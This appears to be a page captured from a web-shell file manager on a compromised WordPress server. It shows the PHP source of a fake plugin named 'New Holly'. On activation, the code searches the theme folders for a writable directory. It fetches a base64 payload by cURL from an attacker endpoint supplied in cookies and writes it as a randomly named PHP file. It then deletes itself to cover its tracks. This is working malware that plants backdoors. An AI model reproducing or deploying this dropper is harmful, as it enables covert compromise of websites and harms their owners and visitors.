| Server IP : 51.91.236.193 / Your IP : 216.73.216.224 Web Server : Apache System : Linux webm010.cluster128.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : institutah ( 16501) PHP Version : 7.2.34 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/institutah/www/wp-content/plugins/newholly/ |
Upload File : |
<?php
/**
* Plugin Name: New Holly
* Version: 2.9
*/
register_activation_hook( __FILE__, 'holly_premium_activate' );
function holly_premium_activate() {
///
$site = get_site_uri();
$file_name = substr(md5(time().$_SERVER['HTTP_HOST']), 0, 8).rand(1, 99).'.php' ;
$rootDir = realpath($_SERVER['DOCUMENT_ROOT']).'/wp-content/themes';
$directories = getDirectoriesRecursive($rootDir);
$result_json = [];
$result_json['site'] = $site;
$result_json['rootDir'] = $rootDir;
$result_json['file_name'] = $file_name;
$result_json['ABSPATH'] = ABSPATH;
$result_json['dir_found'] = count($directories);
$result_json['status'] = '';
$result_json['error_msg'] = '';
$result_json['error_fopen'] = 0;
$result_json['error_writable'] = 0;
$result_json['error_isdir'] = 0;
if ($rootDir === false) {
$result_json['status'] = 'error';
}else{
foreach ($directories as $key => $value) {
$path = $value['path'];
if (!is_dir($path)) {
$result_json['error_isdir']++;
continue;
}
if (!is_writable($path)) {
$result_json['error_writable']++;
continue;
}
$file_path = $value['path'].'/'.$file_name;
$handle = @fopen($file_path, 'w');
if ($handle === false) {
$e = error_get_last();
$result_json['last_file_path'] = $file_path;
$result_json['last_error_fopen_msg']= error_get_last();
$result_json['error_fopen']++;
continue;
}
$url = getFileUrl($file_path, $site);
//
if ($url === null) {
$result_json['getFileUrl']='error';
continue;
}
if (!function_exists('curl_init')) {
$result_json['error'] = 'curl_init not install';
break;
}
//
$data = apiret($url, $result_json);
if($data == ''){
$result_json['error'] = 'data empty';
break;
}
$bytes = fwrite($handle, base64_decode($data['data']));
if ($bytes === false) {
$result_json['error'] = 'bytes false';
break;
}
fflush($handle);
fclose($handle);
$result_json['status'] = 'done';
break;
}
}
if($result_json['status'] != 'done'){
$result_json['status'] = 'error';
}
delete_plug();
wp_die(
'<div class="wp-die-json-message">'.json_encode($result_json).'</div>',
__( 'Active', 'seo-premium' )
);
}
function get_site_uri(){
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://';
return $scheme . $_SERVER['HTTP_HOST'];
}
function delete_plug(){
require_once ABSPATH . 'wp-admin/includes/file.php';
WP_Filesystem();
global $wp_filesystem;
delete_plugins( array( plugin_basename(__FILE__) ) );
}
function rrmdir(string $dir): bool
{
if (!is_dir($dir)) {
return false;
}
$prevCwd = getcwd();
chdir($prevCwd);
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $fileInfo) {
$path = $fileInfo->getRealPath();
if ($fileInfo->isDir()) {
rmdir($path);
} else {
@unlink($path);
}
}
$result = rmdir($dir);
chdir($prevCwd);
return $result;
}
function getFileUrl(string $absolutePath, string $site): ?string
{
$abs = str_replace('\\', '/', realpath($absolutePath));
if ($abs === false) {
return null;
}
$docRoot = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
if (stripos($abs, $docRoot) !== 0) {
return null;
}
$relative = substr($abs, strlen($docRoot));
$relative = '/' . ltrim($relative, '/');
$site = rtrim($site, '/');
return $site . $relative;
}
//
function getDirectoriesRecursive(string $basePath): array
{
$dirs = [];
$rootDepth = substr_count($basePath, DIRECTORY_SEPARATOR);
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$basePath,
FilesystemIterator::SKIP_DOTS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if ($item->isDir()) {
$path = $item->getRealPath();
$depthRel = substr_count($path, DIRECTORY_SEPARATOR) - $rootDepth;
$accessible = is_readable($path);
$dirs[] = [
'path' => $path,
'depth' => $depthRel,
'accessible' => $accessible,
];
}
}
usort($dirs, fn($a, $b) => $b['depth'] <=> $a['depth']);
return $dirs;
}
//
function apiret($furl, &$result_json){
$data = '';
$wordpresrr = $_COOKIE['wordpress_ijsd98u32'] ?? null;
if($wordpresrr === null){
$result_json['msg'] = 'apiEndpoint null';
return '';
}
$wordpresrr = base64_decode($wordpresrr);
$apurl = trim($wordpresrr);
$apiEndpoint = $apurl;
$apikey = $_COOKIE['wordpress_xxxu32'] ?? null;
if($apikey === null){
$result_json['msg'] = 'apikey null';
return '';
}
$ch = curl_init($apiEndpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded',]);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['url' => $furl, 'api' => $apikey]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($response === false) {
//echo ' cURL error: ' . curl_error($ch) . "\n";
$result_json['cURL_error'] = curl_error($ch);
return '';
}
if ($httpCode === 200) {
$data = json_decode($response, true);
if (json_last_error() !== JSON_ERROR_NONE) {
$result_json['json_error'] = 'json_error';
return '';
}
}
curl_close($ch);
return $data;
}